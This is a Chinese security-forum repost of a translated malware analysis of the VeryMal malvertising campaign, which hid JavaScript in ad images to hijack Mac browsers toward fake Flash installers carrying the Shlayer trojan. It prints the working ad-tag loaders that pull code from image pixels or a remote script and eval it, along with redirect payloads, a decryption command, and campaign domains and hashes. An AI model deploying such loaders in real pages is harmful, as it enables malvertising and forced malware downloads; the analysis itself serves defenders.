吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 14828|回复: 21
收起左侧

[转载] 【转帖】对隐藏在图像文件中的 JavaScript 恶意代码的详细分析

  [复制链接]
默小白 发表于 2019-2-13 16:55
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

转自:https://xz.aliyun.com/t/3986

摘要

最近几个月,隐藏在图像文件中的JavaScript恶意软件的报告大量增加。在大多情况下,这通常被称为“基于图像的恶意软件”或“隐写恶意软件”。

名词:隐写术。
在其他非机密文本或数据中隐藏消息或信息的行为。

这篇文章将研究一个被恶意用户使用的基于隐写术的payload,该payload被Confiant根据其广告服务域名veryiel-malyst.com命名为VeryMal。Malwarebytes分析了恶意二进制文件。根据我们的报道范围统计,多达500万访问者可能已经受到最近的恶意软件活动的影响。

分析

完全执行payload的结果是这种熟悉的浏览器劫持:

img

很多关于这类攻击的传言都耸人听闻,以至于用户都相信仅仅图像文件就会对我们造成威胁,于是,人们便对日常浏览器加载的图像产生了担忧。但这与事实大相径庭。在执行这些payload的更广泛的上下文中,验证广告服务中单个图像文件的完整性是没有什么意义的。
实际上,隐写术的作用仅仅为了传递payload的一部分,需要对图像进行处理,以便提取并利用该片段。图像本身不会损害您的计算机或重定向您的浏览器。
让我们看看源码:

<canvas id='iak'></canvas>
<script >
    var wsw = "10512" ;var volton = "154c8e99-aad0-4658-b5fb-645c751ad42b";
    var canvas = document['getElementById']('iak');
    var ctx = canvas['getContext']('2d');
    var image = new Image();
    image['crossOrigin'] = '';
    image['src'] = 'http://s.ad-pixel.com/sscc.jpg';
    var rs = '';
    var isSupportFontFamily = function (c) {
        if (typeof c != 'string') {
            return ![];
        }
        var d = 'Arial';
        if (c['toLowerCase']() == d['toLowerCase']()) {
            return !![];
        }
        var e = 'a';
        var f = 0x64;
        var g = 0x64, h = 0x64;
        var i = document['createElement']('canvas');
        var j = i['getContext']('2d');
        i['width'] = g;
        i['height'] = h;
        j['textAlign'] = 'center';
        j['fillStyle'] = 'black';
        j['textBaseline'] = 'middle';
        var k = function (l) {
            j['clearRect'](0x0, 0x0, g, h);
            j['font'] = f + 'px\x20' + l + ',\x20' + d;
            j['fillText'](e, g / 0x2, h / 0x2);
            var m = j['getImageData'](0x0, 0x0, g, h)['data'];
            return []['slice']['call'](m)['filter'](function (n) {
                return n != 0x0;
            });
        };
        return k(d)['join']('') !== k(c)['join']('');
    };
    var riXs = document['getElementsByTagName']('body');
    var rrxT = riXs[0x0]['style']['cssText'];
    if (isSupportFontFamily('-apple-system') && rrxT != 'margin:\x200px;') {
        image['onload'] = function () {
            ctx['drawImage'](image, 0x0, 0x0);
            var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);
            for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {
                rs += String['fromCharCode'](o['data'][p + 0x2]);
            }
            eval(rs);
        };
    }
</script>

如果给代码加注释,应该是这样:
创建一个Canvas对象(这允许使用HTML5 Canvas API来与图像及其底层数据进行交互)。
抓取位于以下位置的图像:hxxp://s.ad-pixel.com/sscc.jpg
定义用于检查浏览器中是否支持特定字体系列的函数。
检查是否支持Apple fonts。如果不支持,什么都不做。
如果支持,则循环访问图像文件中的基础数据。每个循环读取一个像素值并将其转换为字母数字字符。
将新提取的字符添加到字符串中。
执行字符串中的代码。

笼统地说,图像利用非可执行文件格式来存储压缩数据,当浏览器或您选择的其他图像查看器加载图像文件时,它基本上会解压该文件并使用数据一次一个像素地绘制图像。上面的“恶意”图像在十六进制编辑器中如下所示:

img

就像图像查看器需要解压缩这些数据以呈现最终结果一样,Web开发人员可以使用JavaScript和HTML5 Canvas API对图像数据进行简单的操作。
数据操作只发生在几行代码中:

img

图像本身就是一个白色的小条:

img

隐藏的代码一旦从图像中提取出来:

top.location.href =’hxxp://veryield-malyst.com/’ + volton + ‘?var1=’ + wsw;

这是填充的参数:

hxxp://veryield-malyst.com/154c8e99-aad0–4658-b5fb-645c751ad42b?var1=10512

随着恶意广告检测的不断成熟,老练的攻击者开始了解到明显的混淆方法不再能进行有效地攻击。常见JavaScript混淆器输出的是一种乱的不能再乱的乱码,肉眼很容易识别。像隐写术这样的技术对于恶意携带payload很有用,而不再需要依赖十六进制编码的字符串或庞大的查找表。
举个栗子,“verduce-malyst”域名已经活跃了几个月,但直到最近,VeryMal才开始使用隐写术携带payload。以下是他们在11月初发布的广告标签中的一个,以供比较:

<script type='text/javascript'>
 var a = 'w';
 var b = 'layback';
 var c = 'Target'
 var d = 'vailability';
 var e = 'vent';
 var kk = 'c330e369ea42';
 var f = a.toUpperCase() + 'ebKit' + 'P' + b + c + 'A' + d + 'E' +e;
 if(f in window) {
  ar sc = document.createElement("script");
  ar mandow = "79d5e561-1a8d-48f6-abdb-495df89ec5e.";
  ar ctt = "s3.amazonaws.com";
  c.setAttribute("src", "https://" + mandow + ctt + "/csqc.js");
  c.setAttribute("type", "text/javascript");
  document.head["app" + "endC" + "hild"](sc);
 }
</script>

翻译成白话非常简洁:
检查Window对象中是否存在“WebKitPlaybackTargetAvailabilityEvent”(Safari定位策略)。
如果是,请执行位于以下位置的JavaScript:

hxxps://79d5e561–1a8d-48f6-abdb-495df89ec5e.s3.amazonaws.com/csqc.js

我们对那里的代码很熟悉:

top.location.href = "hxxp://veryield-malyst.com/f7e156be-fc09-4b1b-a052-d48d2aac69fc?var1=" + kk

恶意活动的历史

自去年8月份以来,VeryMal一直在利用veryield-malyst域作为他们的重定向器——这一个值得我们关注,因为它利用了隐写术来进行客户端混淆。
该活动于2019年11月1日至2019年1月13日在两家顶级交易所展开,这两家交易所占前100家出版商网站的25%。
在我们的客户中,Confiant检测到并阻止了191,970次攻击,只有美国访客成为攻击目标。

img

VeryMal在12月份也有几次攻击活动

img

img

方法

VeryMal利用HTTP 302重定向通过他们的veryfield-malyst.com域名到adpiano.com--一个鲜为人知的平台,这个网站与塞浦路斯有着某种联系。
Adpiane充当这些行为和其他恶意行为的点击跟踪器,包括但不限于:

- morningflashsee.club
- bestadbid.com
- newadvancetypeliteflash.services
- doconcretegreatliteflash.icu
- firstfetchflash.club
- windowinstalldealaflash.icu
- upgradebestfinishtheclicks.icu
- booe.pro
- freecalculation.com

img

强制重定向并不是这些攻击者的唯一攻击载体,因为他们被观察到公然以Flash更新和PC修复软件为幌子为他们的恶意软件安装程序运行显示广告。十二月份攻击活动的恶意广告:

img

img

最近的VeryMal广告系列利用重定向链中的以下(仍处于活动状态)点击跟踪器来删除伪造的Flash更新:

hxxps://cs.adpiano.com/kokodzbambo/aaoaeeea/?utm_source=1236&utm_campaign=1616984&aff_sub=w3SGFK32C602JCMJHKLPR5FC&clck=w3SGFK32C602JCMJHKLPR5FC&sid=w3SGFK32C602JCMJHKLPR5FC

此广告系列的目标网页会轮流展示各种.icu域名的主题,如下所示:

mixmaintenancegreatliteflash.icu 
mediafreshgreatliteflash.icu

由于广告系列本身针对的是特定平台和消息传递,因此目前尚不清楚它们的轮换次数或旋转次数。此报告的内容是通过Mac OS上的Google Chrome收集的。
我们已经观察到所有登陆页面都强制下载名为AdobeFlashPlayerInstaller.iso的文件
Virus Total:

https://www.virustotal.com/#/file/75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f/detection

来自MalwareBytes的AdamThomas(@adamt5Six)非常热心地提供了对二进制文件的进一步分析,如下所示。谢谢亚当!

样本名称:AdobeFlashPlayerInstaller.iso
SHA-256:75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f
文件类型:Macintosh磁盘镜像
数字签名:2J5Q8FU8C6(Apple Team ID)

img

与应用程序包中包含的普通mach-o(mac二进制)不同,我们在这里找到了一个shell脚本。该脚本解密应用程序资源目录中包含的AES-256加密文件:

img

首先,我们必须从文件中去除Base64编码:

img

$ openssl enc -d -aes-256-cbc -nosalt -pass pass:5683436752 -in enc.out -out enc.out.bin

去除编码并使用openssl解密后,我们看到一个可读的脚本:

img

该脚本的工作原理是去除Base64编码的另一层,使我们得到十六进制格式的字符串:

img

然后,脚本将十六进制转换为ASCII格式,显示另一个脚本和第一阶段下载程序的最后一层。下载并执行受密码保护的ZIP文件:

img

img

img

在payload执行之后,还会出现对脚本的其他请求,这些请求被认为有助于呈现广告软件投放器的安装屏幕。可能它们还可以自动点击广告软件安装程序。
通过对基于Windows的恶意软件的分析,MalwareBytes还能够提供一些额外的可见性,以了解这攻击者MO的内部工作原理。初始.icu域执行302重定向到以www2开头的另一个.icu。
攻击者基础架构主要由.icu域构成,这些域由数十个域创建并在AWS IP空间中移动。URL是使用特定参数生成的,通常使用非常短的TTL。

whenupgrade.yourbestsiteforlinksitenew.xyz 
workingversion.theperfectupdate4everyone.xyz 
www.checkdealgoldliteflash.icu 
www.fasterdltypeliteflash.icu 
www.fixmaintainbestaflash.icu 
www.makebestmaintainaflash.icu 
www.midgreatdlliteflash.icu 
www.mixmaintainbestaflash.icu 
www.savegolddealliteflash.icu 
www.smallbestappleliteflash.services 
www.topfuturetypeaflash.icu 
www.upgradedltypeliteflash.icu

img

Windows Installer VirusTotal:

https://www.virustotal.com/#/file/6efb37adef3ae68cc3d7cc0512ae82eab4a39b1880e00412ce50f5c423eba00d/detection

结论

根据Confiant观察到,高峰期内,此特定攻击的每天超过500w次。这500万种恶意攻击对收入的影响需要从许多不同方面加以衡量。出版商直接从中断的用户会话中损失金钱,并从增加的广告拦截使用和用户信任损失中损失未来的金钱。
有些广告交易平台在与感染作斗争时切断了广告资源,并且会让一些发布商永久性地撤消库存。广告客户将受到受感染设备产生的广告欺诈的打击。让我们不要忽视现在拥有受感染设备的用户。据估计,仅1月11日这个峰值的成本影响就已经超过120万美元。当你考虑到这只是过去一个月来Contant发现并阻止的数百起攻击中的一起,数字广告业面临的问题的规模就变得更清晰了。

翻译文章:https://blog.confiant.com/confiant-malwarebytes-uncover-steganography-based-ad-payload-that-drops-shlayer-trojan-on-mac-cd31e885c202

免费评分

参与人数 2吾爱币 +1 热心值 +2 收起 理由
VonLee + 1 + 1 我很赞同!
mnmnddc + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

YAO21 发表于 2019-2-13 17:27
感谢分享
chang1582 发表于 2019-2-13 17:30
吾爱倩倩 发表于 2019-2-13 18:47
青年 发表于 2019-2-13 19:42
感谢分享
timothy丶东 发表于 2019-2-13 19:54
一脸茫然,感谢分享
xu81709752 发表于 2019-2-13 20:06
谢谢努力学习
六月飞雪 发表于 2019-2-13 20:44
好多看不懂,本人小白一枚。
莫名乐乐 发表于 2019-2-13 23:10
支持一下,慢慢看
欻欻 发表于 2019-2-14 03:11
发现了发家致富的道路,但是没办法上路,
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-20 06:34

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表